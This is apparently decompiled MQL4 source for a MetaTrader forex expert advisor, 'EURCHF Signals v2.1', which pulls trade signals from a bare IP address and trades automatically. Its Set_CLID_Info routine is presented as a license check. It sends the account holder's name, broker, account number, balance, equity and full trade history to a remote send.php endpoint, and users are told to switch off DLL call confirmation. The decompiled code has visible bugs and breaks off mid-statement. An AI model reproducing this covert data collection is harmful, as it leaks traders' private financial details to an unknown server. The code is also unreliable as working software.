#property copyright "Copyright © 2009, freeforexsystem-reviews.com" #property link "http://www.freeforexsystem-reviews.com" #include #import "wininet.dll" int InternetOpenA(string a0, int a1, string a2, string a3, int a4); int InternetOpenUrlA(int a0, string a1, string a2, int a3, int a4, int a5); int InternetReadFile(int a0, string a1, int a2, int& a3[]); int InternetCloseHandle(int a0); #import "kernel32.dll" int GetTimeZoneInformation(int& a0[]); #import extern string Risk_Setting_Info = "1= Fixed Size, 2= Auto calculate based on percent"; extern string Risk_Setting_Info1 = "When using option 2, a setting of 1 will trade"; extern string Risk_Setting_Info2 = "0.1 ($1.00 per pip) per $10,000 in a standard account"; extern string Risk_Setting_Info3 = "or ($0.01 per pip) per $100 in a micro account"; extern int Risk_Type = 2; extern double Risk_Type_1_Lots = 0.1; extern double Risk_Type_2_Percent = 1.0; extern string MaxDrawdown_Percent_Help = "Set max drowdown before ea disables."; extern double MaxDrawdown_Percent_Cutoff = 50.0; extern string Slippage = "Set maximum pip difference allowed."; extern double MaxSignalSlippage = 3.0; extern bool AlertsEnabled = TRUE; int gi_164 = 30000000; int g_str2int_168 = 1; int gi_172 = 1; int gi_176 = 1; int gi_180 = 1; int gi_184 = 1; int gi_188 = 1; int gi_192 = 1; int gi_196 = 1; int gi_200 = 1; int gi_204 = 1; string gs_208 = "975458795"; int g_slippage_216 = 3; bool gi_220; string gs_224 = " "; string gs_232 = ""; bool gi_240 = FALSE; bool gi_244 = TRUE; string gs_248 = ""; int g_str2int_256 = -1; string gs_260 = ""; string gs_268 = ""; int g_datetime_276 = 0; int gi_280 = -1; int g_datetime_284 = 0; int g_day_288 = 0; string gs_292 = ""; int gi_300 = -1; string gsa_304[]; string gsa_308[]; string gs_312 = ""; string gs_320 = ""; int gi_328; int gi_332; int gi_336 = 0; int gi_340 = 1; int gi_unused_344 = 3; int gi_348 = 13; int init() { gi_220 = TRUE; gs_292 = Set_CLID_Info(); if (gs_292 == "Invalid") { Comment(gs_224 + "\n" + "***ERROR...Account " + AccountNumber() + " Not Authorized ***\n" + "Please contact info@freeforexsystem-reviews.com\n"); gi_220 = FALSE; return (0); } if (gs_292 != "Valid") { Comment(gs_224 + "\n" + "***ERROR - Could Not Retrieve Signal***\n" + "Please contact info@freeforexsystem-reviews.com\n"); gi_220 = FALSE; return (0); } if (!IsDllsAllowed()) { Comment(gs_224 + "*** Change MetaTrader Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Common\' tab\n" + gs_224 + "\'Allow DLL imports\' must be checked\n" + gs_224 + "\'Confirm DLL function calls\' must be unchecked"); Print("err1"); gi_220 = FALSE; return (0); } if (!IsTradeAllowed()) { Comment(gs_224 + "*** Change MetaTrader Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Common\' tab\n" + gs_224 + "\'Allow Live Trading\' must be checked"); Print("err2"); gi_220 = FALSE; return (0); } if (!IsTesting() && !IsExpertEnabled()) { Comment(gs_224 + "*** Change MetaTrader Options ***\n" + gs_224 + "Click the red \'Expert Advisors\' button to enable EA processing\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog then click the \'OK\' button"); Print("err3"); gi_220 = FALSE; return (0); } if (Risk_Type != 1 && Risk_Type != 2) { Comment(gs_224 + "*** Change Expert Advisor Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Inputs\' tab\n" + gs_224 + "Enter a suitable Risk_Type value\n" + gs_224 + "- 1, 2 or 3 = the method used for calculating lots"); Print("err4"); gi_220 = FALSE; return (0); } if (Risk_Type == 1 && Risk_Type_1_Lots > 0.00003 * AccountBalance()) { Comment(gs_224 + "*** Change Expert Advisor Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Inputs\' tab\n" + gs_224 + "Enter a suitable Risk_Type_5_Percent value\n" + gs_224 + "- Must be less than Account Balance times 0.00003"); Print("err4"); gi_220 = FALSE; return (0); } if (Risk_Type == 2 && Risk_Type_2_Percent > 3.0) { Comment(gs_224 + "*** Change Expert Advisor Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Inputs\' tab\n" + gs_224 + "Enter a suitable Risk_Type_5_Percent value\n" + gs_224 + "- Must be less than 3"); Print("err4"); gi_220 = FALSE; return (0); } if (MaxDrawdown_Percent_Cutoff <= 0.0 || MaxDrawdown_Percent_Cutoff > 50.0) { Comment(gs_224 + "*** Change Expert Advisor Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog and click the \'Inputs\' tab\n" + gs_224 + "Enter a suitable Safety_MaxDrawdown_Percent value\n" + gs_224 + "- a positive value greater than 0 and less than 50"); Print("err10"); gi_220 = FALSE; return (0); } if (gi_240) { Comment(gs_224 + "*** Change Expert Advisor Options ***\n" + gs_224 + "Re-Attach the EA to access the EA properties dialog\n" + gs_224 + "Click OK to reset the expert advisor and the safety max drawdown amount."); Print("err11"); gi_220 = FALSE; gi_244 = FALSE; return (0); } if (!gi_220) { Comment(gs_224 + "*** Signal Interpretation Error ***\n" + gs_224 + "Trading is suspended - manage open trades manually\n" + gs_224 + "Contact: info@freeforexsystem-reviews.com"); Print("err12"); gi_220 = FALSE; return (0); } checkversion(); gs_248 = StringSubstr(Symbol(), 6, StringLen(Symbol()) - 6); gs_232 = gs_224 + "EURCHF Signals_v" + "2.1\n" + gs_224 + "====================================\n"; if (gi_220) { Comment(gs_232 + gs_224 + "Waiting for price data...\n" + gs_224 + "If prices have not moved for several minutes then the market might\n" + gs_224 + "be closed or you are not connected to your broker account."); start(); } return (0); } int deinit() { Print("Stopped!"); Comment(gs_232 + gs_224 + "Stopped!"); return (0); } void start() { int li_0; while (!IsStopped() && IsExpertEnabled() && gi_244 && !gi_240) { gs_320 = ""; li_0 = mainth(); if (li_0 > 0 && li_0 != 2) { Print("Stopped!"); Comment(gs_232 + gs_224 + "Stopped!"); break; } Sleep(1000); } if (gi_240) Comment(gs_232 + gs_224 + "Account Risk Reached! Trading is Disabled"); } int mainth() { int li_0; int li_4; string ls_12; int li_20; string ls_28; string ls_36; string ls_44; string ls_52; string ls_60; string ls_68; if (IsTesting()) return (1); if (!IsExpertEnabled()) return (1); if (g_day_288 != Day() || gs_292 != "Valid") { if (gs_292 == "Invalid") { Comment(gs_224 + "\n" + "***ERROR...Account " + AccountNumber() + " Not Authorized ***\n"); gi_220 = FALSE; return (0); } gs_292 = Set_CLID_Info(); if (gs_292 != "Valid") { Comment(gs_224 + "\n" + "***ERROR...Account " + AccountNumber() + " Not Authorized ***\n"); gi_220 = FALSE; return (0); } } if (TimeHour(g_datetime_284) != TimeHour(TimeCurrent())) checkversion(); if ((AccountBalance() - AccountEquity()) / AccountBalance() >= MaxDrawdown_Percent_Cutoff / 100.0) { gi_240 = TRUE; Close_All(); return (1); } if (!gi_220) { init(); return (2); } if (MathAbs(TimeCurrent() - g_datetime_276) >= 1.0) { if (gi_300 - GetLastSignal_HistChangeTime() < gi_164) { if (gs_268 != "Error") { li_4 = StoreSignal_HistTradeInfo(); for (int l_index_8 = 0; l_index_8 < li_4; l_index_8++) { ls_12 = StringSubstr(gsa_308[l_index_8], StringFind(gsa_308[l_index_8], "m", 0) + 1, StringFind(gsa_308[l_index_8], ",", StringFind(gsa_308[l_index_8], "m", 0)) - StringFind(gsa_308[l_index_8], "m", 0) - 1); li_0 = GetOrderByMagic(StrToInteger(ls_12), MODE_TRADES); if (li_0 > 0) { if (AlertsEnabled && gi_204 > 0) Alert("Signal To Close Order- ", li_0); CloseSignalOrder(li_0); } } } gi_300 = TimeGMT(); } } if (gi_280 - GetLastSignalChangeTime() < gi_164) { if (gs_260 != "Error") { li_20 = StoreSignalTradeInfo(); for (int l_index_24 = 0; l_index_24 < li_20; l_index_24++) { ls_28 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "m", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "m", 0)) - StringFind(gsa_304[l_index_24], "m", 0) - 1); ls_36 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "d", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "d", 0)) - StringFind(gsa_304[l_index_24], "d", 0) - 1); ls_44 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "o", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "o", 0)) - StringFind(gsa_304[l_index_24], "o", 0) - 1); ls_52 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "s", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "s", 0)) - StringFind(gsa_304[l_index_24], "s", 0) - 1); ls_60 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "t", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "t", 0)) - StringFind(gsa_304[l_index_24], "t", 0) - 1); ls_68 = StringSubstr(gsa_304[l_index_24], StringFind(gsa_304[l_index_24], "p", 0) + 1, StringFind(gsa_304[l_index_24], ",", StringFind(gsa_304[l_index_24], "p", 0)) - StringFind(gsa_304[l_index_24], "p", 0) - 1); li_0 = GetOrderByMagic(StrToInteger(ls_28), MODE_HISTORY); if (li_0 <= 0) { li_0 = GetOrderByMagic(StrToInteger(ls_28), MODE_TRADES); if (li_0 == -1) { if (AlertsEnabled && gi_188 > 0 && ls_36 == "0") { Alert("Signal To Buy ", ls_68, " at ", ls_44, " TP = ", ls_60, " SL= ", ls_52); gi_188 = 0; } if (AlertsEnabled && gi_192 > 0 && ls_36 == "1") { Alert("Signal To Sell ", ls_68, " at ", ls_44, " TP = ", ls_60, " SL= ", ls_52); gi_192 = 0; } CheckToOpenOrder(ls_28, ls_36, StrToDouble(ls_44), StrToDouble(ls_52), StrToDouble(ls_60), ls_68); } else CheckToModifyOrder(li_0, ls_36, ls_68, StrToDouble(ls_60), StrToDouble(ls_52)); } } gi_280 = TimeGMT(); } } gi_300 = TimeGMT(); gi_280 = TimeGMT(); g_datetime_276 = TimeCurrent(); Comment(gs_232 + gs_320); return (0); } int CheckToOpenOrder(string as_0, string as_8, double ad_16, double ad_24, double ad_32, string as_40) { int li_76; int li_80; double ld_48 = 0.0; bool li_56 = FALSE; double ld_60 = 0.0001 / Point; if (MarketInfo(as_40 + gs_248, MODE_LOTSIZE) < 50000.0) li_56 = TRUE; if (MarketInfo(as_40 + gs_248, MODE_LOTSIZE) >= 50000.0) li_56 = FALSE; double l_minlot_68 = MarketInfo(as_40 + gs_248, MODE_MINLOT); if (as_8 == "0") { if (TimeGMT() - StrToInteger(as_0) < gi_164 && MarketInfo(as_40 + gs_248, MODE_ASK) - ad_16 <= MaxSignalSlippage * ld_60 * Point) { ld_48 = CalculateLots(Risk_Type, ad_16, ad_24, ad_32); if (li_56) ld_48 = 10.0 * ld_48; if (ld_48 < l_minlot_68) ld_48 = l_minlot_68; li_76 = OpenOrder(as_0, as_40, OP_BUY, ld_48, ad_16, ad_24, ad_32, as_0, Aqua); if (li_76 > 0) { Print("Order Filled Successfully"); gs_312 = as_0; } else Print("Error Opening Buy Trade!"); } else { if (as_0 != gs_312) { if (TimeGMT() - StrToInteger(as_0) >= gi_164) { if (AlertsEnabled && gi_180 > 0) { Alert("Signal ID: " + as_0 + "- No Entry: Trade Entered more than 5 Mins Ago (" + ((TimeGMT() - StrToInteger(as_0)) / 60) + " Mins Ago)"); gi_180 = 0; } gs_320 = gs_320 + "\n" + gs_224 + "Signal ID: " + as_0 + "- No Entry: Trade Entered more than 5 Mins Ago (" + ((TimeGMT() - StrToInteger(as_0)) / 60) + " Mins Ago)"; } if (MarketInfo(as_40 + gs_248, MODE_ASK) - ad_16 > MaxSignalSlippage * ld_60 * Point) { if (AlertsEnabled && gi_172 > 0) { Alert("Signal ID: " + as_0 + "- No Entry: Slippage was more than ", DoubleToStr(MaxSignalSlippage, 1), " (slippage = ", DoubleToStr((MarketInfo(as_40 + gs_248, MODE_ASK) - ad_16) / Point / ld_60, 1), ")"); gi_172 = 0; } gs_320 = gs_320 + "\n" + gs_224 + "Signal ID: " + as_0 + "- No Entry: Slippage was more than " + DoubleToStr(MaxSignalSlippage, 1) + " (slippage = " + DoubleToStr((MarketInfo(as_40 + gs_248, MODE_ASK) - ad_16) / Point / ld_60, 1) + ")"; } } } } if (as_8 == "1") { if (TimeGMT() - StrToInteger(as_0) < gi_164 && ad_16 - MarketInfo(as_40 + gs_248, MODE_BID) <= MaxSignalSlippage * ld_60 * Point) { ld_48 = CalculateLots(Risk_Type, ad_16, ad_24, ad_32); if (li_56) ld_48 = 10.0 * ld_48; if (ld_48 < l_minlot_68) ld_48 = l_minlot_68; li_80 = OpenOrder(as_0, as_40, OP_SELL, ld_48, ad_16, ad_24, ad_32, as_0, Fuchsia); if (li_80 > 0) { Print("Order Filled Successfully"); gs_312 = as_0; } else Print("Error Opening Sell Trade!"); } else { if (as_0 != gs_312) { if (TimeGMT() - StrToInteger(as_0) >= gi_164) { if (AlertsEnabled && gi_184 > 0) { Alert("Signal ID: " + as_0 + "- No Entry: Trade Entered more than 5 Mins Ago (" + ((TimeGMT() - StrToInteger(as_0)) / 60) + " Mins Ago)"); gi_184 = 0; } gs_320 = gs_320 + "\n" + gs_224 + "Signal ID: " + as_0 + "- No Entry: Trade Entered more than 5 Mins Ago (" + ((TimeGMT() - StrToInteger(as_0)) / 60) + " Mins Ago)"; } if (ad_16 - MarketInfo(as_40 + gs_248, MODE_BID) > MaxSignalSlippage * ld_60 * Point) { if (AlertsEnabled && gi_176 > 0) { Alert("Signal ID: " + as_0 + "- No Entry: Slippage was more than ", DoubleToStr(MaxSignalSlippage, 1), " (slippage = ", DoubleToStr((ad_16 - MarketInfo(as_40 + gs_248, MODE_BID)) / Point / ld_60, 1), ")"); gi_176 = 0; } gs_320 = gs_320 + "\n" + gs_224 + "Signal ID: " + as_0 + "- No Entry: Slippage was more than " + DoubleToStr(MaxSignalSlippage, 1) + " (slippage = " + DoubleToStr((ad_16 - MarketInfo(as_40 + gs_248, MODE_BID)) / Point / ld_60, 1) + ")"; } } } } return (0); } int OpenOrder(string as_0, string as_8, int a_cmd_16, double a_lots_20, double ad_unused_28, double a_price_36, double a_price_44, string a_comment_52, color a_color_60) { int l_error_72; int l_bool_88; double ld_64 = 0.0001 / Point; waitForContext(); double l_price_76 = 0.0; if (a_cmd_16 == OP_BUY) l_price_76 = MarketInfo(as_8 + gs_248, MODE_ASK); if (a_cmd_16 == OP_SELL) l_price_76 = MarketInfo(as_8 + gs_248, MODE_BID); int l_ticket_84 = OrderSend(as_8 + gs_248, a_cmd_16, a_lots_20, l_price_76, MaxSignalSlippage * ld_64, 0, 0, a_comment_52, StrToInteger(as_0), 0, a_color_60); if (l_ticket_84 > 0) { if (OrderSelect(l_ticket_84, SELECT_BY_TICKET)) { waitForContext(); if (a_price_36 != 0.0 && a_price_44 != 0.0) l_bool_88 = OrderModify(l_ticket_84, OrderOpenPrice(), a_price_36, a_price_44, 0, a_color_60); if (l_bool_88 <= FALSE) { l_error_72 = GetLastError(); if (AlertsEnabled && l_error_72 != 0/* NO_ERROR */) Alert("Order Modify failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); if (l_error_72 != 0/* NO_ERROR */) Print("Order Modify failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); } } else { l_error_72 = GetLastError(); if (l_error_72 != 0/* NO_ERROR */) Print("Order Open failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); if (AlertsEnabled) Alert("Order Open failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); } } else { l_error_72 = GetLastError(); if (l_error_72 != 0/* NO_ERROR */) Print("Order Open failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); if (AlertsEnabled) Alert("Order Open failed - error(", l_error_72, "): ", ErrorDescription(l_error_72)); } return (l_ticket_84); } int CheckToModifyOrder(int a_ticket_0, string as_4, string as_12, double a_price_20, double a_price_28) { int l_bool_40; int l_error_44; int l_error_48; int li_52; int li_56; OrderSelect(a_ticket_0, SELECT_BY_TICKET); bool l_digits_36 = FALSE; l_digits_36 = MarketInfo(as_12 + gs_248, MODE_DIGITS); a_price_28 = NormalizeDouble(a_price_28, l_digits_36); a_price_20 = NormalizeDouble(a_price_20, l_digits_36); if (NormalizeDouble(OrderStopLoss(), l_digits_36) != a_price_28 || NormalizeDouble(OrderTakeProfit(), l_digits_36) != a_price_20) { if (AlertsEnabled && gi_196 > 0 && as_4 == "0") { Alert("Signal To Modify Buy Order- ", a_ticket_0, " to- TP= ", a_price_20, " SL= ", a_price_28); gi_196 = 0; } if (AlertsEnabled && gi_200 > 0 && as_4 == "1") { Alert("Signal To Modify Sell Order- ", a_ticket_0, " to- TP= ", a_price_20, " SL= ", a_price_28); gi_200 = 0; } if (as_4 == "0" && MarketInfo(as_12 + gs_248, MODE_BID) - a_price_28 > MarketInfo(as_12 + gs_248, MODE_STOPLEVEL) * MarketInfo(as_12 + gs_248, MODE_POINT) && a_price_20 - MarketInfo(as_12 + gs_248, MODE_BID) > MarketInfo(as_12 + gs_248, MODE_STOPLEVEL) * MarketInfo(as_12 + gs_248, MODE_POINT) && a_price_20 != 0.0 && a_price_28 != 0.0) { if (OrderSelect(a_ticket_0, SELECT_BY_TICKET)) { waitForContext(); l_bool_40 = OrderModify(a_ticket_0, OrderOpenPrice(), a_price_28, a_price_20, 0, Green); if (l_bool_40 <= FALSE) { l_error_44 = GetLastError(); if (AlertsEnabled && l_error_44 != 0/* NO_ERROR */) Alert("Order Modify failed - error(", l_error_44, "): ", ErrorDescription(l_error_44)); if (l_error_44 != 0/* NO_ERROR */) Print("Order Modify failed - error(", l_error_44, "): ", ErrorDescription(l_error_44)); RefreshRates(); return (-1); } return (0); } l_error_44 = GetLastError(); if (l_error_44 != 0/* NO_ERROR */) Print("Order Modify failed - error(", l_error_44, "): ", ErrorDescription(l_error_44)); RefreshRates(); return (-1); } if (as_4 == "1" && a_price_28 - MarketInfo(as_12 + gs_248, MODE_ASK) > MarketInfo(as_12 + gs_248, MODE_STOPLEVEL) * MarketInfo(as_12 + gs_248, MODE_POINT) && MarketInfo(as_12 + gs_248, MODE_ASK) - a_price_20 > MarketInfo(as_12 + gs_248, MODE_STOPLEVEL) * MarketInfo(as_12 + gs_248, MODE_POINT) && a_price_20 != 0.0 && a_price_28 != 0.0) { if (OrderSelect(a_ticket_0, SELECT_BY_TICKET)) { waitForContext(); l_bool_40 = OrderModify(a_ticket_0, OrderOpenPrice(), a_price_28, a_price_20, 0, Green); if (l_bool_40 <= FALSE) { l_error_44 = GetLastError(); if (AlertsEnabled && l_error_44 != 0/* NO_ERROR */) Alert("Order Modify failed - error(", l_error_44, "): ", ErrorDescription(l_error_44)); if (l_error_44 != 0/* NO_ERROR */) Print("Order Modify failed - error(", l_error_44, "): ", ErrorDescription(l_error_44)); RefreshRates(); return (-1); } return (0); } l_error_48 = GetLastError(); if (l_error_48 != 0/* NO_ERROR */) Print("Order Modify failed - error(", l_error_48, "): ", ErrorDescription(l_error_48)); RefreshRates(); return (-1); } } if (OrderStopLoss() == 0.0 && as_4 == "0") { li_52 = 1; li_56 = MarketInfo(as_12 + gs_248, MODE_DIGITS); if (li_56 == 3 || li_56 == 5) li_52 = 10; waitForContext(); OrderModify(a_ticket_0, OrderOpenPrice(), OrderOpenPrice() - 35.0 * MarketInfo(as_12 + gs_248, MODE_POINT) * li_52, OrderOpenPrice() + 20.0 * MarketInfo(as_12 + gs_248, MODE_POINT) * li_52, 0, Green); return (0); } if (OrderStopLoss() == 0.0 && as_4 == "1") { li_52 = 1; li_56 = MarketInfo(as_12 + gs_248, MODE_DIGITS); if (li_56 == 3 || li_56 == 5) li_52 = 10; waitForContext(); OrderModify(a_ticket_0, OrderOpenPrice(), OrderOpenPrice() + 35.0 * MarketInfo(as_12 + gs_248, MODE_POINT) * li_52, OrderOpenPrice() - 20.0 * MarketInfo(as_12 + gs_248, MODE_POINT) * li_52, 0, Green); return (0); } return (0); } int waitForContext() { for (int l_count_0 = 0; IsTradeContextBusy() && l_count_0 < 20; l_count_0++) Sleep(15); if (l_count_0 >= 20) Print("Trade context has been busy for longer than ", DoubleToStr(15 * l_count_0 / 1000, 2), " seconds"); else if (l_count_0 > 0) Print("Trade context has been busy for ", DoubleToStr(15 * l_count_0 / 1000, 2), " seconds"); return (l_count_0); } int StoreSignalTradeInfo() { ArrayResize(gsa_304, (StringLen(gs_260) - 11) / 47); for (int l_index_0 = 0; l_index_0 < ArraySize(gsa_304); l_index_0++) gsa_304[l_index_0] = 0; int l_index_4 = 0; int li_8 = 0; int li_unused_12 = 0; for (int li_16 = 0; li_16 < StringLen(gs_260) - 1; li_16++) { li_8 = StringFind(gs_260, "|", li_16); gsa_304[l_index_4] = StringSubstr(gs_260, li_16, li_8 - li_16); l_index_4++; li_16 = li_8; } return (l_index_4); } int StoreSignal_HistTradeInfo() { ArrayResize(gsa_308, (StringLen(gs_268) - 11) / 47); for (int l_index_0 = 0; l_index_0 < ArraySize(gsa_308); l_index_0++) gsa_308[l_index_0] = 0; int l_index_4 = 0; int li_8 = 0; int li_unused_12 = 0; for (int li_16 = 0; li_16 < StringLen(gs_268) - 1; li_16++) { li_8 = StringFind(gs_268, "|", li_16); gsa_308[l_index_4] = StringSubstr(gs_268, li_16, li_8 - li_16); l_index_4++; li_16 = li_8; } return (l_index_4); } int CloseSignalOrder(int a_ticket_0) { if (!OrderSelect(a_ticket_0, SELECT_BY_TICKET)) return (0); if (OrderCloseTime() > 0) return (0); int li_unused_4 = MarketInfo(OrderSymbol(), MODE_DIGITS); bool l_ord_close_8 = OrderClose(a_ticket_0, OrderLots(), OrderClosePrice(), g_slippage_216); if (l_ord_close_8) { Sleep(1000); return (l_ord_close_8); } int l_error_12 = GetLastError(); if (AlertsEnabled && l_error_12 != 0/* NO_ERROR */) Alert("CloseOrder failed: ", ErrorDescription(l_error_12), " (", l_error_12, ")"); Print("CloseOrder failed: ", ErrorDescription(l_error_12), " (", l_error_12, ")"); Sleep(5000); return (0); } int GetLastSignalChangeTime() { gs_260 = GetSignalText(); if (gs_260 != "Error" && gs_260 != "0") { g_str2int_256 = -1; g_str2int_256 = StrToInteger(StringSubstr(gs_260, 0, 10)); gs_320 = gs_320 + "\n" + gs_224 + "Last Trade Signal: " + TimeToStr(StrToInteger(StringSubstr(gs_260, 0, 10)), TIME_DATE|TIME_MINUTES|TIME_SECONDS) + "\n" + gs_224 + "Last Signal Check: " + CPrint(gi_280 != -1, TimeToStr(gi_280, TIME_DATE|TIME_MINUTES|TIME_SECONDS), "No Change") + "\n" + gs_224 + "Last Signal Change Time: " + CPrint(g_str2int_256 != -1, TimeToStr(g_str2int_256, TIME_DATE|TIME_MINUTES|TIME_SECONDS), "No Change") + "\n"; if (g_str2int_256 != g_str2int_168) { gi_172 = 1; gi_176 = 1; gi_180 = 1; gi_184 = 1; gi_188 = 1; gi_192 = 1; gi_196 = 1; gi_200 = 1; gi_204 = 1; g_str2int_168 = g_str2int_256; } return (g_str2int_256); } if (gs_260 == "Error") { gs_320 = gs_320 + "\n" + gs_224 + "Error 2"; return (-1); } gs_320 = gs_320 + "\n" + gs_224 + "---Connected...Ready To Trade---" + "\n" + gs_224 + "Last Signal Check: " + CPrint(gi_280 != -1, TimeToStr(gi_280, TIME_DATE|TIME_MINUTES|TIME_SECONDS), "No Change") + "\n" + gs_224 + "Last Signal Change Time: " + CPrint(g_str2int_256 != -1, TimeToStr(g_str2int_256, TIME_DATE|TIME_MINUTES|TIME_SECONDS), "No Change"); return (-1); } int GetLastSignal_HistChangeTime() { int l_str2int_0; gs_268 = GetSignal_HistText(); if (gs_268 != "Error" && gs_268 != "0") { l_str2int_0 = -1; l_str2int_0 = StrToInteger(StringSubstr(gs_268, 0, 10)); return (l_str2int_0); } if (gs_268 == "Error") { gs_320 = gs_320 + "\n" + gs_224 + "Error 3"; return (0); } return (0); } int GetOrderByMagic(int a_magic_0, int ai_4) { int li_8 = 0; if (ai_4 == MODE_TRADES) li_8 = OrdersTotal(); if (ai_4 == MODE_HISTORY) li_8 = OrdersHistoryTotal(); for (int l_pos_12 = 0; l_pos_12 < li_8; l_pos_12++) { if (OrderSelect(l_pos_12, SELECT_BY_POS, ai_4)) if (OrderMagicNumber() == a_magic_0) return (OrderTicket()); } return (-1); } string GetSignalText() { string ls_ret_0 = ""; int l_count_8 = 0; while (l_count_8 < 5) { l_count_8++; if (GrabWeb("http://99.198.106.250/EURCHFSignals" + gs_208 + ".html", ls_ret_0)) l_count_8 = 6; } if (l_count_8 == 5) return ("Error"); if (StringSubstr(ls_ret_0, 0, 1) == "<") return ("Error"); return (ls_ret_0); } string GetSignal_HistText() { string ls_ret_0 = ""; int l_count_8 = 0; while (l_count_8 < 5) { l_count_8++; if (GrabWeb("http://99.198.106.250/EURCHFSignals" + gs_208 + "_Hist.html", ls_ret_0)) l_count_8 = 6; } if (l_count_8 == 5) { gs_320 = gs_320 + "\n" + gs_224 + "*** Unable to communicate with server ***\n" + gs_224 + "Check internet connection and Windows Firewall / Anti-Virus settings\n" + gs_224 + "before restarting MetaTrader 4"; return ("Error"); } if (StringSubstr(ls_ret_0, 0, 1) == "<") { gs_320 = gs_320 + "\n" + gs_224 + "*** Server Communication Error ***\n" + gs_224 + "Please contact freeforexsystem-reviews.com\n" + gs_224 + "info@freeforexsystem-reviews.com"; return ("Error"); } return (ls_ret_0); } string Set_CLID_Info() { string ls_36; g_day_288 = Day(); string ls_0 = ""; for (int l_hist_total_8 = OrdersHistoryTotal(); l_hist_total_8 > 0; l_hist_total_8--) if (OrderSelect(l_hist_total_8, SELECT_BY_POS, MODE_HISTORY)) ls_0 = ls_0 + "

" + "Magic Number: " + OrderMagicNumber() + "
" + "Order: " + OrderTicket() + "
" + "Time: " + TimeToStr(OrderOpenTime(), TIME_DATE|TIME_SECONDS) + "
" + "Type: " + OrderType() + "
" + "Size: " + DoubleToStr(OrderLots(), 2) + "
" + "Symbol: " + OrderSymbol() + "
" + "Price: " + DoubleToStr(OrderOpenPrice(), 5) + "
" + "S/L: " + DoubleToStr(OrderStopLoss(), 5) + "
" + "T/P: " + DoubleToStr(OrderTakeProfit(), 5) + "
" + "Time: " + TimeToStr(OrderCloseTime(), TIME_DATE|TIME_SECONDS) + "
" + "Price: " + DoubleToStr(OrderClosePrice(), 5) + "
" + "Profit: $" + DoubleToStr(OrderProfit(), 2) + "
" + "Comment: " + OrderComment() + "
"; string ls_12 = ""; for (int li_20 = OrdersTotal(); li_20 > 0; li_20--) if (OrderSelect(l_hist_total_8, SELECT_BY_POS, MODE_TRADES)) ls_12 = ls_12 + "

" + "Magic Number: " + OrderMagicNumber() + "
" + "Order: " + OrderTicket() + "
" + "Time: " + TimeToStr(OrderOpenTime(), TIME_DATE|TIME_SECONDS) + "
" + "Type: " + OrderType() + "
" + "Size: " + DoubleToStr(OrderLots(), 2) + "
" + "Symbol: " + OrderSymbol() + "
" + "Price: " + DoubleToStr(OrderOpenPrice(), 5) + "
" + "S/L: " + DoubleToStr(OrderStopLoss(), 5) + "
" + "T/P: " + DoubleToStr(OrderTakeProfit(), 5) + "
" + "Time: " + TimeToStr(OrderCloseTime(), TIME_DATE|TIME_SECONDS) + "
" + "Price: " + DoubleToStr(OrderClosePrice(), 5) + "
" + "Profit: $" + DoubleToStr(OrderProfit(), 2) + "
" + "Comment: " + OrderComment() + "
"; string ls_ret_24 = ""; int l_count_32 = 0; while (l_count_32 < 5) { l_count_32++; ls_36 = "http://99.198.106.250/EURCHF_id/send.php?clid=" + "DEMO" + "&clinfo=" + "" + "" + "" + "" + "Broker:" + AccountCompany() + "
" + "Name: " + AccountName() + "
" + "Account Number: " + AccountNumber() + "
" + "Balance: $" + DoubleToStr(AccountBalance(), 2) + "
" + "Equity: $" + DoubleToStr(AccountEquity(), 2) + "

" + "**OPEN TRADES** " + ls_12 + "

" + "**CLOSED TRADES** " + ls_0 + "

" + "" + ""; if (GrabWeb(StringSubstr(ls_36, 0, MathMin(1200, StringLen(ls_36))), ls_ret_24)) l_count_32 = 6; } if (l_count_32 == 5) return ("Error"); if (StringSubstr(ls_ret_24, 0, 1) == "<") return ("Error"); return (ls_ret_24); } double CalculateLots(int ai_0, double ad_unused_4, double ad_unused_12, string as_unused_20) { int li_28 = 1; if (MarketInfo(Symbol(), MODE_MINLOT) >= 1.0) li_28 = 0; if (MarketInfo(Symbol(), MODE_MINLOT) < 1.0) li_28 = 1; if (MarketInfo(Symbol(), MODE_MINLOT) < 0.1) li_28 = 2; if (MarketInfo(Symbol(), MODE_MINLOT) < 0.01) li_28 = 3; if (MarketInfo(Symbol(), MODE_MINLOT) < 0.001) li_28 = 4; if (MarketInfo(Symbol(), MODE_MINLOT) < 0.0001) li_28 = 5; double ld_ret_32 = 0; if (ai_0 == 1) { ld_ret_32 = Risk_Type_1_Lots; return (ld_ret_32); } if (ai_0 == 2) { ld_ret_32 = NormalizeDouble(AccountBalance() / 10000.0 * (Risk_Type_2_Percent / 10.0), li_28); return (ld_ret_32); } return (0.0); } int TimeGMT() { int lia_0[43]; int li_4 = GetTimeZoneInformation(lia_0); if (li_4 == 1) li_4 = 3600; else li_4 = 0; return (TimeLocal() + li_4 + 60 * (lia_0[0] + lia_0[42])); } void checkversion() { string ls_0 = ""; int l_count_8 = 0; g_datetime_284 = TimeCurrent(); gi_220 = TRUE; while (l_count_8 < 5) { l_count_8++; if (GrabWeb("http://99.198.106.250/EURCHFSignals_chkver.html", ls_0)) l_count_8 = 6; } if (l_count_8 == 5) { gs_320 = gs_320 + "\n" + gs_224 + "*** Unable to communicate with server ***\n" + 